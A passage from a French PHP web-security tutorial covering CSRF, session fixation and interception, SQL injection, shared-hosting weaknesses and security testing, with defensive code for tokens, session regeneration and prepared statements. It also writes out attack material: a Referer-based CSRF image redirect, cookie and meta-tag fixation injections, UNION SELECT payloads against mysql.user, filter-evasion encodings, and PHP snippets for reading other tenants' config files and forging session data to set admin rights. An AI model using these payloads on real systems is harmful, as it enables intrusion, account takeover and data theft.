De la même manière, des extensions telles que liveHTTPHeader, ou encore FireBug et TamperData, permettent de générer des requêtes POST (ou autres) sur mesure, et de regarder en direct la réponse du serveur. PHP est tout aussi capable de requêter un serveur, de bien des facons différentes (sockets, CURL, extension HTTP).
Les attaques CSRF sont dangereuses dans la mesure ou le pirate a tout loisir de choisir ses cibles. Il peut cibler les sites auxquels seuls certains utilisateurs ont accès, tels que ceux qui se trouvent sur un réseau local, un utilisateur qui navigue simultanément entre le reseau local, et Internet, sera une passerelle de choix pour un pirate externe.

V-B - Les protections

Il existe 2 protections recommandées contre le CSRF. Tout d'abord on rappelle qu'en aucun cas une action GET ne soit mener à une action de changement sur le serveur. Si par un simple index.php?action=delete&membre=8 on peut supprimer un utilisateur, alors on peut considérer qu'il est très facile d'aller titiller le serveur. Respectez  **HTTP** !
Pour les actions très importantes, en POST donc, on peut demander à l'utilisateur de réentrer sont mot de passe, avant de valider l'action. On s'assure ainsi que la requête devra être validée par cet utilisateur, avant d'être traitée (modifications dans une base de données, effaçage de données, transfert de fonds).
Un autre système moins pénible pour l'utilisateur est celui du jeton de reconnaissance, il utilise la session. Le but est tout simplement de s'assurer que la requête provient bien du serveur la demandant, et non d'un autre site éloigné.
Rappelons nous que la vérification du Referer n'est pas une mesure de sécurité, celui-ci pouvant être falsifié relativement simplement.

```php
<?php

$token = md5(uniqid(rand(), TRUE));
$_SESSION['token'] = $token;
$_SESSION['token_time'] = time();

?>
<form action="delete.php" method="post">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
MemberId: <input type="text" name="memberid" /><br />
<input type="submit" value="delete it" />
</form>
```

Pour cette action quelque peu bidon je vous l'accorde, on génère un jeton aléatoire que l'on met en session, on mémorise en session aussi le timestamp actuel.
Puis nous passons le jeton dans une variable POST. Voici la suite :

```php
<?php

if ($_POST['token'] == $_SESSION['token'] && time() - $_SESSION['token_time'] <= 300)
{
    // Action valide
}
?>
```

On vérifie simplement que le jeton reçu par le POST, correspond au jeton présent en session, ce qui laisse à supposer que c'est bien la même personne qui a affiché le formulaire, et qui l'a envoyé.
Par la même occasion, pour ne pas laisser un jeton valide trop longtemps, on limite son temps de validité à 300 secondes, largement suffisant pour remplir un malheureux champ dans un formulaire.

On se rappellera donc qu'une application web ne fait que répondre à des requêtes réseau (HTTP typiquement). Et il ne faut pas s'attendre à ce que celles ci soient forcément issues de l'endroit que l'on désire, et comme on le désire.
Le jeton reste une défense solide. On peut toujours essayer de voler la session utilisateur, ou de deviner le jeton, soit; mais c'est un bon début, et ca ferme déja de nombreuses portes.

Les grands groupes comme Google utilisent des techniques très avancées, basées sur non pas un mais en général 3 à 4 cookies. Des calculs faisant intervenir des sommes de contrôle, le temps, le navigateur client et tout un tas de paramètres sont alors effectués à chaque requête pour s'assurer de la légitimité de ladite requête. Ebay et hotmail utilisent aussi des systèmes de ce style là.

V-C - Le mot de la faim

Je vais vous laisser sur votre faim avec une CSRF plutôt vicieuse, pour encore mettre le doigt au fond de la plaie, et faire prendre conscience du danger :
Je peux déclencher une CSRF sur un forum qui se vante de controler si les images liées sont bien des images, je vais poster une image déguisée :

```
[img]http://www.mysite.com/images/watch_that_image.jpg[/img]
```

un BB code qui insère une image. Le serveur vérifie que mon image ait bien une extension .jpg, car seuls les JPG sont acceptées.
Et bien soit, sur mon serveur mysite.com je configure apache de la sorte :

```
RewriteEngine on
RewriteRule ^/watch_that_image.jpg im_hacking_you.php
```

Et dans im_hacking_you.php, j'écris ceci :

```
header("Location: http://awebsite.com/admin/delete_message.php?id=54");
```

Tout appel à mon image sur le forum, redirigera la requête vers un site qui visiblement, effacera un message, le n °=54 précisément. Si je veux éviter qu'une personne ne déclenche cette attaque à chaque fois qu'elle tente de lire mon image je lui envoie un cookie, avec un temps, de manière à n'éxecuter mon attaque qu'une seule fois, car à chaque fois qu'elle va requêter ma soi-disant image, la personne va m'envoyer ses cookies pour mon domaine.
Plutôt que de vérifier simplement une extension, ce qui en soit n'est absolument pas un gage de sécurité (la preuve), le site en question utilise un autre procédé, comme par exemple **getimagesize()**
Si le site veut analyser mon image, il va alors se rendre compte qu'il y a une redirection et va invalider mon image (getimagesize() sur autre chose qu'une image retourne FALSE, c'est vite detecté).
Mais lorsque getimagesize() requête mon serveur, il m'envoie en en-tête HTTP un referer vide; en revanche, un utilisateur voulant afficher mon image, provient bien du site d'où il veut afficher cette image, et son referer à lui n'est pas nul :

```
<?php
if(empty($_SERVER['HTTP_REFERER']) {
 header("Content-Type: image/jpeg");
 readfile("./watch_that_image.jpg");
}else{
 header("Location: http://awebsite.com/admin/delete_message.php?id=54");
}
```

Lorsque la validation de l'image sera demandée, l'image sera bien fournie, mais lorsqu'un utilisateur va vouloir l'afficher, c'est bien la redirection qui va lui être fournie; là encore, il y a CSRF.
Je vous laisse méditer sur la solution ? Elle coule de source hein.

VI - Sessions et cookies : liés et très convoités

VI-A - Le principe des sessions

Beaucoup d'applications web utilisent un système de session pour rendre un environnement personnalisable par utilisateur. Comme le protocole HTTP a été défini comme étant un protocole sans état, il n'est en théorie pas possible via HTTP de "se souvenir" de quelqu'un. Ainsi HTTP traite chaque requête comme étant totalement indépendante les unes des autres.
Les applications webs ont donc recours à un système de SESSION, afin de maintenir un pseudo état entre chaque requête HTTP, c'est ce qui va donner l'illusion à l'utilisateur, que le site le connait, se souvient de lui, et le suit dans son surf. L'idée de base se cachant derrière les sessions est que le système de contrôle des sessions de l'application web va générer un identifiant unique, pour chaque utilisateur.
Ensuite, il faut faire transiter cet identifiant, à chaque requête, entre le serveur et le client. Il faut donc transférer la première fois l'identifiant dans le poste de l'utilisateur, puis s'arranger pour que celui ci le renvoie au serveur à chaque requête qu'il génère.
L'identification d'un utilisateur par rapport à un autre, ne repose donc que sur un identifiant : une série de chiffres et de lettres (usuellement : 32), aléatoires. On se rend vite compte que c'est très maigre, et que "voler" l'identifiant de son voisin, va permettre de se faire passer pour lui.
L'identifiant de session est passé de requête en requête via un des 3 processus suivants :

1 Via l'URL, on appelle ca le trans-sid
2 Via un champ caché de formulaire, c'est aussi du trans sid, mais pour les requêtes de type POST
3 Via un cookie

On distingue pas moins de 3 types d'attaques de session :

- interception
- prediction
- fixation

Toutes ses attaques mènent à l'usurpation d'identité.

VI-B - Interception et prédiction

La prédiction, elle, consiste à deviner un identifiant de session valide. Le mécanisme natif de gestion des sessions en PHP a été étudié pour générer des identifiants extrêmement aléatoires. Il est donc très improbable qu'on puisse deviner un identifiant de session valide.
Il reste cependant à traiter le stockage des sessions, et le cas des hébergements partagés, ceci sera traité plus tard dans cet article.

L'interception vise comme son nom l'indique, à intercepter l'identifiant, afin de l'utiliser. Cette technique est très facile si l'identifiant est propagé dans l'URL, via GET par exemple.
Lorsque l'utilisateur n'accepte pas les cookies, PHP doit alors se résigner à passer l'identifiant de session via un autre procédé. On appelle ca le trans-sid, c'est une otpion de php.ini. Si session.use_trans_sid est à 1, alors ceci autorise PHP à passer l'identifiant de session via GET, de page en page (sauf dans le cas des formulaires POST, un champ caché est rajouté dans ce cas là). L'URL ressemble alors à http://unsite.com/unepage.php?phpsessid=d10v5fg8r7g42901v4g87r1ds4on54f3. Je ne vais pas faire un dessin pour montrer comment il est facile alors d'utiliser une session. En plus, la plupart des utilisateurs qui partagent une URL avec des amis, ont tendance à copier/coller cette URL entière, en donnant avec leur identifiant, sans savoir alors que la personne qui va cliquer sur le lien, va utiliser la session de la personne lui ayant donné.
Un autre danger vient du Referrer HTTP, car celui ci contient aussi dans un tel cas votre identifiant de session. Quitter un site A vers un site B, peut alors donner au site B l'occasion de se faire passer pour vous sur le site A.
Mais comme nous l'avons vu aussi dans la section CSRF, le navigateur va réécrire tous les liens en rajoutant le sessid à la fin. Ainsi, si sur un forum, quelqu'un poste une fausse image (voir la section CSRF) , il va aussi récupérer votre sessid.

Tout ceci ne fonctionne que si l'utilisateur n'accepte pas les cookies, ou si il n'a pas déja un cookie représentant une session, dans ce cas là, c'est le cookie qui est utilisé.

Quelle que soit la méthode passage, un pirate peut se contenter d'écouter le réseau, et récupérer l'identifiant de session dans la trame HTTP. Car qu'il soit transmit via GET, POST, ou Cookie, l'identifiant de session passe dans tous les cas du client au serveur, et aucune des méthodes n'empêche l'écoute du réseau et l'attaque **Man In The Middle**. Pour se protéger, il faut donc installer un système de cryptage tel que SSL, qui crypte la trame HTTP.

VI-C - Fixation

On en arrive à une méthode courrament employée : la fixation.
La fixation est le fait de determiner un identifiant de session, AVANT d'utiliser l'application (on le "fixe"). Voici un exemple :

1 Le pirate envoie l'URL http://jesuisunsite.com/login.php?PHPSESSID=1234 à un utilisateur
2 L'utilisateur suit le lien, s'il ne possède pas de cookie de session, il va initialiser la session 1234
3 L'utilisateur entre son login, et s'identifie
4 Le pirate suit alors http://jesuisunsite.com/index.php?PHPSESSID=1234 et se retrouve à la racine du site, avec la session de l'utilisateur fraichement authentifié
5 Si l'utilisateur est administrateur, le pirate peut directement aller sur http://jesuisunsite.com/admin.php?PHPSESSID=1234

L'exemple est simple et bête, mais on voit bien qu'ici on a **fixé** le sessid avant que le serveur ne nous en attribue un. Sous IIS, ceci n'est pas possible car si l'identifiant n'a pas été préalablement généré, IIS le refusera.
Il suffit simplement pour le pirate de visiter index.php, de récupérer l'identifiant que le serveur lui a envoyé (dans son cookie par exemple), puis de l'envoyer à sa victime, et attendre qu'elle s'authentifie.

Pour se protéger, il faut éviter d'utiliser le trans-sid. Pour cela, il faut mettre session.uses-trans-sid à 0 dans php.ini. Mais cela ne fait que spécifier à PHP de ne pas réécrire la sortie en y ajoutant le sessid. La vraie sécurité ici vient de session.uses-only-cookie = 1
En effet cette option va dire à PHP de purement et simplement ignorer tous les identifiants de session, passés autrement que par cookie. Le cookie possède l'avantage d'être passé dans les en-têtes HTTP. Il demeure donc invisible, il réduit fortement les risques de vols de session, mais cela reste possible.

Même dans le cas où le serveur n'accepte que les cookies pour le transport de l'identifiant de session, on aura alors recours à plusieurs méthodes :

N'oublions pas qu'en cas de fixation de session, un cryptage type SSL ne sert strictement à rien, en tout point du réseau, les cookies restent attaquables. Permettre à une personne tierce de lire ses cookies ou d'écrire dedans constitue la vulnérabilité.
Une attaque de type DNS peut avoir le même effet, en envoyant l'utilisateur vers un script dans le domaine qui va lire/écrire ses cookies.

Utilisation d'un script coté client

La plupart des navigateurs acceptent les scripts de type javascript ou vbscript, or ces 2 langages permettent d'initialiser un cookie dans le navigateur.

Les règles **same origin policy** empêchent cependant de spécifier un cookie appartenant à un domaine autre que le domaine actuellement visité, ou un de ses sous domaines.
Cependant, le pirate cherchera à forcer le navigateur de la victime à s'injecter un cookie avec un identifiant de session :
Un simple *document.cookie=□sessionid=1234□;* en javascript permet ceci, le pirate aura ainsi recours au XSS, précédemment expliquée.
Il peut même spécifier un cookie pour un domaine racine, et ainsi pouvoir l'exploiter sur tous les sous-domaines *document.cookie="sessionid=1234;domain=.mydomaine.dom□;*

Injection de meta-tags

Il ne faut pas oublier qu'avec un tag html META, on peut spécifier un cookie :
<meta%20http-equiv=Set-Cookie%20content="sessionid=1234;>
Et contrairement aux scripts, on ne peut empêcher la lecture d'un META, et celui-ci sera analysé et pris en compte même hors des balises html HEAD

VI-C-3 - Protections

Nous avons vu un cryptage de la connexion via SSL pour parer la lecture du traffic et du sessid. Nous avons aussi vu comment obliger le serveur à passer via les cookies pour la propagation du sessid.
Voici quelques exemples de protections - disons plutôt de forte complication du processus - contre la fixation de session.
Résumons : un pirate nous fait nous connecter avec un identifiant qu'il a choisi. La solution ici consiste à ne pas accepter d'identifiant de session venus de l'extérieur (cas de IIS), et donc à **régénérer** l'identifiant à chaque fois que cela sera utile.

```php
<?php
session_start();
$old_session = session_id();
if (empty($_SESSION['valide'])){
    session_regenerate_id(TRUE);
    $_SESSION['valide'] = TRUE;
}
?>
```

session_regenerate_id() redonne un identifiant de session à la session en cours, sans la détruire.
Ainsi, après chaque authentification d'un utilisateur, ou après chaque élévation de privilèges dans l'application web, il est indispensable de changer l'identifiant de session, afin de s'assurer que la session de provenance n'était pas douteuse (fixée).
Il est très important aussi lors de la régénération, de tuer l'ancienne session. Il faut passer TRUE à ***session_regenerate_id()***, l'ancien identifiant de session que le pirate possèdera sera alors totalement détruit. Cette option n'est disponible qu'à partir de PHP5.1, mais qui utilise encore PHP4 ? :-p
On pourra aussi se protéger efficacement en régénérant la session à chaque requête HTTP : c'est la solution ultime, malheureusement elle s'avère souvent trop gourmande en ressources lors de la montée en charge et est vite inappliquable.

Il faut savoir qu'une session ne dure pas éternellement, et au moins elle dure, au plus elle est sécurisée. Il faut donc jouer sur 2 tableaux : le temps de validitié du cookie de session, et le temps de validité de la session sur le serveur.
Par défaut, lorsque PHP envoie le cookie de session, il spécifie sa durée d'expiration à la "session navigateur". **c'est à dire lorsqu'on ferme la navigateur, et non l'onglet représentant la page**.
C'est très bien, voyons coté serveur : un stockage de session dans une base de données est simple, il suffit de stocker la date et de faire une comparaison. On pourra utiliser une procédure stockée aussi, c'est très pratique.
Si on utilise des fichiers, une tâche cron pourra comparer la date d'accès au fichier à la date actuelle, on pourra donc spécifier une limite.
Si l'on a pas accès à cron, PHP utilise un système de garbage collector très simple : si session.gc_probability = 1 et session.gc_divisor = 100, alors toutes les 1OO requêtes HTTP, les session vieilles de plus de *session.gc_maxlifetime* secondes seront effacées. On s'assurera que la périodicité soit adaptée : pas trop souvent au risque de charger le serveur et son système de fichiers, mais pas trop rarement non plus au risque de laisser perdurer des données d'une session trop vieille, pouvant être interceptées.

Même si ca reste piratable, au plus vous semez le chemin d'embuches, au plus vous rendez la tâche difficile au pirate. Veillez à ne pas non plus géner les utilisateurs, en leur redemandant de s'identifier trop fréquemment par exemple.
Vous pouvez aussi voir du coté du referrer, et le vérifier. Si une page à autorisation d'accès élevée est accédée depuis l'extérieur du site, considérez que la session est falsifiée et détruisez la tout de suite. Une directive PHP "session.referer_check" est faite pour ca.

Idem avec la signature navigateur : Il est quand même peu fréquent qu'un utilisateur passe d'une page à une autre, en changeant de navigateur ... Alors que si un pirate intervient, il peut le faire avec un navigateur différent de celui de la victime. Ainsi, vérifiez que l'enchainement de vos pages sous session se fait avec le même navigateur.
Si le passage de la page A à la page B fait apparaitre un changement de navigateur, détruisez la session, et redemandez authentification. Car même si l'utilisateur change de navigateur, les cookies eux, sont dépendants du navigateur. En passant de A à B, si l'utilisateur change de navigateur, le cookie de session envoyé à B ne sera pas le même que celui envoyé à A.

Enfin, pensez à avertir l'utilisateur. Donnez lui toujours la possibilité de se déconnecter. A la déconnexion, tuez la session locale et les cookies s'y référant. Il est facile de coller des sessions dans des cybercafés...

VII - Injections SQL : une porte ouverte à la base de données

VII-A - Principe général

On ne va pas redéfinir l'importance de la base de données dans un système informatique. Le web n'est pas épargné, et le moindre site 'dynamique' en exploite au moins une. Exploiter signifie donc lire, écrire , etc... dedans; et dans la majorité des cas, il s'agit de requêtes programmées par le développeur, mais dont l'utilisateur possède un accès partiel. L'internaute a donc accès à la base de données et nous allons voir qu'il n'est souvent pas complexe d'exploiter la base de données d'un site web. Les attaques SQL visent donc le coeur d'une application web, le noyau sur lequel elles se basent. Si un serveur de base de données est attaqué où tombe en panne, c'est bel et bien tout le site qui s'en retrouve paralysé, d'où l'importance de la sécuriser. Une personne malveillante peut ainsi lire, modifier ou supprimer des données arbitraires, auxquelles elle n'est pas forcément sensée avoir accès. Vol d'identité, et surtout vol de données extrêmement sensibles, car accéder aux données d'autrui, en sachant qu'il y a plusieurs dizaines ou centaines de milliers "d'autruis" peut faire froid dans le dos.

Un administrateur de base de données et même un développeur, doivent comprendre comment fonctionnent les mécanismes qui permettent de tels détournements. Nous allons passer en revue ici quelques exemples concernant MySQL. Mais les techniques s'appliquent également à n'importe quel SGBD et la plupart du temps, elles sont applicables sans modification, car elles attaquent le langage SQL.
On trouvera donc l'attaque sur la syntaxe, en insérant des caractères SQL classiques pour modifier la requête ou générer des erreurs de base de données.
L'attaque sur la syntaxe du langage SQL, pour réaliser des requêtes en manipulant les constructions du langage avec les synonymes
Enfin l'attaque sur la logique de la requête, afin d'accéder à des données arbitraires, ou tenter de prendre le contrôle du serveur.

VII-B - Attaque de syntaxe

Le guillemet simple. Vous en avez tous entendu parler, c'est certain. L'erreur ici est de penser qu'il est le seul vecteur d'attaque, c'est si faux ... Les exemples avec le guillemet simple ne manquent pas. Par exemple dans **notre FAQ**.
Le paramètre PHP "magic_quote_gpc" sert à echapper tous les guillemets simples (entres autres guillemets doubles; anti-slashs et NUL) dans toutes les variables GPC (Get Post Cookie).
Une bonne action mais une vraie plaie, car si on veut afficher les données ou les insérer dans un fichier, il faudra appeler ***strip_slashes()*** avant. On demande donc dans ce cas là à PHP 2 fonctionnalités opposées, ce qui gaspille des ressources et est idiot. Les magic quotes seront supprimées dans PHP6. La **section appropriée** du manuel de PHP vous en dira d'avantage.

L'exemple classique concerne le guillemet simple, mais il faut noter que d'autres caractères peuvent avoir une signification particulière dans une requête SQL :
La parenthèse - le point-virgule - les délimiteurs de commentaires /* # ou encore --.
A force de se concentrer uniquement sur les dangers du guillemet simple, le développeur a tendance a oublier le reste. La fonction SQL CHAR() permet d'éditer l'équivalent ASCII de l'argument.
Ainsi, injecter CHAR(0x27) va faire apparaitre un guillemet simple dans la requête, en intervenant au niveau du langage SQL lui-même.

VII-C - Attaque sémantique

Les attaques sémantiques sont donc des attaques qui visent le sens de la requête SQL finale. Elles servent souvent à faire générer des erreurs au SGBD et souvent ces erreurs sont retournées directement à la personne malveillante, parce que trop de sites en production se permettent encore d'afficher ces erreurs, plutôt que de les loguer.
Les variables SQL, par exemple, peuvent être compromises. Ceci fonctionne bien pour tout ce qui est numérique, ou date/temps. Vous pouvez essayer d'injecter dans les variables qui attendent des nombres décimaux, les valeurs de 2^8 +1, 2^16 +1, 2^32 +1 pour dépasser la capacité de stockage des entiers.

De la même manière : fournir une valeur négative, dépassement de la capacité des nombres à virgule flottante : 3.40282346638528860e+38. Il est possible de jouer sur les bases aussi : substitution binaire, octale, hexadécimale ou notation scientifique.
Des filtres puissants peuvent stopper ce genre de manipulations, mais ne sont malheureusement pas suffisants. La valeur 1e309 n'est pas un chiffre (pour la majorité des langages et SGBD) et génèrera une erreur, mais elle ne contient aucun caractère malveillant. SQL est un langage riche, rempli de synonymes.
CHAR(0x27) est exactement équivalent à ASCII(0x27) qui peut aussi s'écrire x'27 ou encore cH%41r(0x68-0x41).
Pour vous protéger : utilisez un typage fort, et n'acceptez pas des chaines si vous attendez des chiffres. Analysez la capacité des entiers fournis, interdisez le caractère %, qui peut servir à effectuer des substitutions ou à falsifier une requête LIKE. Interdisez aussi la parenthèse.

SQL propose un ensemble complet de fonctions pouvant être utilisées pour créer des requêtes sémantiquement équivalentes mais dont la syntaxe est légèrement différente; au grand dam des filtres de données. Ainsi, au lieu d'attaquer le langage intermédiaire (PHP, JSP ...), l'attaque cible le langage SQL lui-même.
Le type numérique est le plus simple à tester et à attaquer. Par exemple la valeur numérique 111 peut être écrite 111, 0x6f, 0157 (octal), 110+1, MOD(111,112), REPEAT(1,3), **COALESCE**(NULL,NULL,111). Remarquez : aucune de ses syntaxes ne contient de guillemet et aucune ne contient apparamment de caractères susceptibles de troubler à première vue une requête. La plupart passera à travers des filtres généralistes et si le résultat est le même pour tous, alors on pourra tenter de générer une erreur de syntaxe SQL, avec des expressions incohérentes, du style BIN(-1), LIMIT a {pas de parenthèse nécessaire}, MOD(0,a).
Une attaque sur les caractères alphabétiques est de même possible grâce à quelques fonctions du langage SQL. La valeur 'add' peut ainsi s'écrire HEX(2781), REVERSE(dda), LEAST(0x6d75736963,0x6e75736963), GREATEST(0x61,0x6d75736963). Encore une fois, il n'y a absolument aucun guillemet.

VII-D - Attaque sur la logique

Une fois qu'une faille dans la requête a été trouvée, la syntaxe du UNION SELECT va permettre d'atteindre des données arbitraires. La plupart des requêtes classiques sont de la forme SELECT foo FROM bar WHERE a=b; et b est ici le vecteur d'attaque.
La déclaration UNION combine les multiples déclarations SELECT et est supportée par une majorité des SGBD. La forme classique est SELECT foo FROM bar WHERE a=b UNION SELECT foo2 FROM bar2 WHERE c=d;.
On peut par exemple récupérer le nom d'utilisateur sous lequel la connexion au serveur SQL fonctionne, par un SELECT USER() , sous Mysql. Une requête attaquée pourra être de la forme SELECT titre FROM articles WHERE id=3 UNION SELECT USER();
Il faut cependant veiller à ce que notre injection d'UNION termine la requête et inhibe tout ce qui suit, ce qui est relativement facile grâce aux syntaxes de mise en commentaire(#, /*, --), avec un point-virgule si nécessaire.
Il faudra de même veiller à ce que le nombre de paramètres récupérés entre les SELECT soit le même (même nombre de colonnes sur les SELECT), c'est déja plus compliqué, mais ca reste dans le domaine du faisable.
Pour obtenir le nombre de colonnes approprié, on pourra ajouter des paramètres supplémentaires fictifs, par exemple SELECT user FROM mysql.user, SELECT user, user, user FROM mysql.user. Dans le cas d'un nombre de colonne supérieur, un appel à CONCAT() règle l'histoire en concaténant chaque colonne en une seule chaine : SELECT foo FROM bar WHERE a=b UNION SELECT CONCAT(*) FROM mysql.user.

Une fois qu'on a trouvé le bon nombre de colonnes, on ne récupère en général en résultat que la première ligne de résultat. Un petit jeu avec la clause LIMIT permettra de zapper dans les résultats pour récupérer celui qui nous intéresse : SELECT foo FROM bar WHERE a=b UNION (SELECT CONCAT(*) FROM mysql.user LIMIT 2,1);.
On pourra ainsi progresser dans le jeu de résultat jusqu'à recevoir NULL.
La première protection ultime est de ne jamais s'identifier sous le SGBD en tant que super-utilisateur (root). Un root a accès à toutes les tables et toutes les commandes du serveur de base de données. Connectez vous systématiquement avec un utilisateur dont les droits sont restreints au strict minimum.
Votre utilisateur ne doit avoir accès qu'à (aux) la base de données en question et qu'aux commandes nécessaires à son exploitation. Les commandes DESCRIBE, SHOW, EXPLAIN doivent lui être interdites.
Une autre protection efficace contre les attaques par UNION s'appelle les requêtes préparées. En PHP, les extensions mysqli et PDO implémentent ce mécanisme. Il est malheureux de voir qu'aujourd'hui encore, beaucoup trop de sites tournent avec l'extension de base mysql, qui ne permet pas les requêtes préparées.
Les "prepared statements", dénomination anglaise, permettent de séparer la logique de la requête des paramètres qui lui sont fournis. Il est ainsi impossible de changer la sémantique d'une requête en injectant un UNION, par exemple.

Les **procédures stockées** sont aussi un bon moyen de sécuriser ses requêtes. L'absence de séparation entre la logique et les données contenues dans la requête constitue un problème majeur soulevé par les injections SQL, car la logique est determinée par le développeur et est sensée restée statique, seuls les paramètres sont dynamiques. Lorsque les données et la logique se mélangent, comme utiliser la concaténation de chaines, les données fournies par l'utilisateur peuvent alors changer la logique de la requête.

VIII - Les hébergements partagés

VIII-A - Pourquoi ? Comment ?

Avant de nous plonger dans les problèmes de sécurité que pose l'hébergement partagé, voyons déja les raisons de sa popularité. Tout d'abord citons le prix. Aujourd'hui, non seulement des particuliers, mais de plus en plus d'entreprises, sont attirées par les prix du "mutualisé".
De plus, en général ils sont beaucoup plus simples à gérer qu'un hébergement dédié avec un accès au serveur. Il ne faut donc pas être ingénieur système pour configurer un DNS, ou un certificat de sécurité. Simples et bons marché.
Mais si c'est si bon marché, c'est tout simplement parce que plusieurs sites se partagent les ressources d'un même serveur. Ainsi, les hébergeurs comptent sur le fait que tous les sites hébergés ne consomment pas tous 100% de la machine, à tout temps, et qu'ainsi plusieurs (plusieurs 10aines même) peuvent cohabiter ensemble.
Ainsi, si un site se met soudainement à consommer des ressources, il va forcément handicaper tous les autres. Première faille : il est possible de faire tomber un site, en en piratant un autre, par du dico **DOS**.
Dans la plupart des cas, les machines sont des Linux ou FreeBSD et tournent avec Apache. Tout simplement parce que là encore, il n'y a pas nécessairement besoin d'un administrateur système pour gérer ca et certains hébergeurs se permettent donc des économies avec des installations PHP/Apache depuis les paquets de leur distribution point final. PHP est configuré en module Apache, la configuration classique bien connue, très simple à mettre en place et souvent plus performante que le dico **CGI** ou Fast-CGI. En d'autres termes, tous les scripts sont exécutés avec le nom d'utilisateur du serveur Web. Ainsi tous les fichiers auxquels un serveur web a besoin d'avoir accès doivent être accessibles par tous ou appartenir au groupe d'utilisateurs du serveur Web.
Chaque entrée VirtualHost, qui représente un client, aura une directive "open_basedir" qui limite l'accès aux fichiers à un dossier précis par utilisateur, et on voit assez souvent le "**safe_mode**" activé aussi, pour verrouiller encore plus l'accès au système de fichier.
La encore, quid des modules plus évolués su_php ? itk ? fastcgi ? Economies oblige, la plupart des hébergements ne mettent pas en place de solution réellement sécurisée pour leur client, pire encore : elles ne savent même pas ce que c'est la plupart du temps...

VIII-B - Accès aux fichiers et bases de données

C'est le danger le plus grand des hébergements partagés, car toutes les données système sont stockées dans le système de fichier. Le serveur Web ayant besoin d'accéder à tous les fichiers utilisés pendant l'execution du script, les fichiers de sessions, les fichiers de configurations des sites, etc...
Il suffit alors de découvrir le chemin de tels fichiers, et de les lire. Par exemple un script comme celui ci ;

```
$files = explode("\n", shell_exec("locate config.inc"));
```

va utiliser la commande linux locate pour chercher tous les fichiers config.inc présents dans la machine, et dont l'utilisateur du serveur web a accès, soient tous les fichiers de configuration de tous les sites hébergés.
La encore, essayez au tant que faire ce peut de ne pas appeler vos espaces d'administration "admin", vos fichiers de config " config", il faut au maximum brouiller les pistes.
Si la commande a été desactivée ou si la fonction PHP l'est de même, ce qui est souvent le cas, on pourra essayer pourquoi pas :

```
$dir = new RecursiveDirectoryIterator("/home");
$files = array();
foreach (new RecursiveIteratorIterator($dir) AS $match){
   if (strpos($match->getFilename(), 'config.inc') !== false){
     $files[] = $match->getPathname();
   }
}
?>
```

Ici on fouille tout /home à la recherche de fichiers "config.inc".

Alors le "safe_mode", sensé empecher tout ca, fait à moitié le travail. Si on fait un script qui fait une copie de lui-même, il devient la propriété du serveur Web. Même si vous ne pouvez pas ouvrir les fichiers appartenant à un utilisateur, vous pouvez ouvrir les fichiers communs à tous les utilisateurs : les fichiers de session, en particulier.
Ainsi si le gestionnaire de session par défaut est utilisé, on peut accéder en lecture et en écriture, aux fichiers de session et faire par exemple :

```
$data = unserialize(file_get_contents("/tmp/sess_{numéro-de-session}"));
$data["admin"] = 1;
file_put_contents("/tmp/sess_{numéro-de-session}",serialize($data));
```

En supposant qu'on ait récupéré un numéro de session valide, ce qui est très facile si vous avez lu le paragraphe s'y reportant, vous avez accès en desérialisant, au contenu de toutes les variables de la session ...
Pour "open_basedir" c'est une autre histoire, mais ca reste faisable. En effet "open_basedir" est une directive de PHP, il n'est pas interdit de coder et d'utiliser un programme externe pour percer le serveur.
Vous pouvez aussi essayer de lancer une tâche cron, qui va lancer un script PHP. La tâche cron ne fonctionne pas avec Apache, et ignore donc "safe_mode" et "open_basedir".
Vous pouvez essayer enfin d'utiliser d'autres langages généralement disponibles en CGI chez ces mêmes hébergeurs, Perl, Python et des programmes compilés qui peuvent avoir accès au système de fichiers.

Concernant les bases de données, le plus simple est de récupérer les identifiants dans les fichiers de configuration PHP ou les .htaccess.
Comme vous avez un accès local au serveur, ou du moins depuis une machine du réseau, vous passez outre tous les pare-feu qui empêchent généralement les accès aux bases de données depuis l'extérieur du réseau (Internet).
Les temps de connexion étant très courts, vous pouvez écrire un script qui va générer une attaque dictionnaire sur un SGBD. 100 requêtes par seconde peuvent passer en local. Un mot de passe faible ne tiendra que quelques minutes.

IX - Tester sa sécurité

On distinguera les tests manuels des testes automatisés et il est important d'être méthodique afin d'assurer une efficacité maximale. Les test automatisés ont une logique fixe, et des situations particulières entraineront tout de même l'obligation de tests manuels.
Résoudre un CAPTCHA, interpréter des instructions et s'adapter à l'évolutivité du site, sont autant de défis que les tests automatisés ne pourront résoudre la plupart du temps.
Les tests sont là pour se rassurer, mais rien ne remplace l'audit complet du code et de son environnement par des professionnels en la matière. L'audit du code permet d'identifier les risques et les vulnérabilités qui sont difficiles à detecter ou à exploiter sans accès au code source. On peut aussi identifier des faiblesses dans la conception, la structure et la partie métier de l'application, pouvant mener à des problèmes futurs.

Que se passe-t-il si quelqu'un découvre une faille dans votre application web ? Peut-il vous contacter spécifiquement ? Que se passe-t-il si une personne exploite cette faille ? Y-a-t-il des méthodes mises en oeuvre pour corriger le problème au sein de l'entreprise ?
Toutes ces questions doivent être répondues avant le design applicatif, et à fortiori la conception; Et le personnel doit être formé aux problèmes sécuritaires. Pas seulement les techniciens (développeurs, architectes, chefs de projets), mais aussi le service commercial, qui doit pouvoir identifier une information qualifiée de "critique", et une information plus souple, de manière par exemple à ne pas communiquer certaines informations à des clients au téléphone.

L'audit de code passe souvent par les tests de "boite noire". Cet ensemble de tests implique que l'application soit dans un environnement natif, de production.
A mesure que vous effectuez vos tests, il faut les classer par catégorie et s'assurer qu'ils sont précis, exhaustifs et efficaces. Une catégorie très classique porte sur les sources d'entrées.
Idéalement, GET, POST, COOKIE et les en-têtes HTTP doivent être passées au crible, particulièrement le referer HTTP. Le test en GET est sans aucun doute le plus simple, mais aussi le plus vulnérable, les paramètres étant directement injectés dans l'URL.
Le test de POST est un peu plus complexe, mais reste faisable : migration du formulaire en local, utilisation des sockets ou à plus haut niveau, de classes HTTP. Beaucoup d'outils comme certaines extensions Firefox permettent de faire ce qu'on veut avec HTTP.
Au niveau des cookies, idem : des extensions FireFox telles que **editcookies** s'avèrent simples et efficaces, sinon un code comme celui-ci saisi dans la barre d'adresse, permet de modifier ses cookies instantanément :

```
javascript:document.cookie=prompt(document.cookie,document.cookie)
```

Enfin, seuls les utilisateurs de Firefox pourront bénéficier de l'excellent outil qu'est **Selenium IDE**. **Voici une vidéo** qui vous montrera comment en quelques clics on peut générer des tests sympatiques et très ciblés pour ses pages. De toute puissance.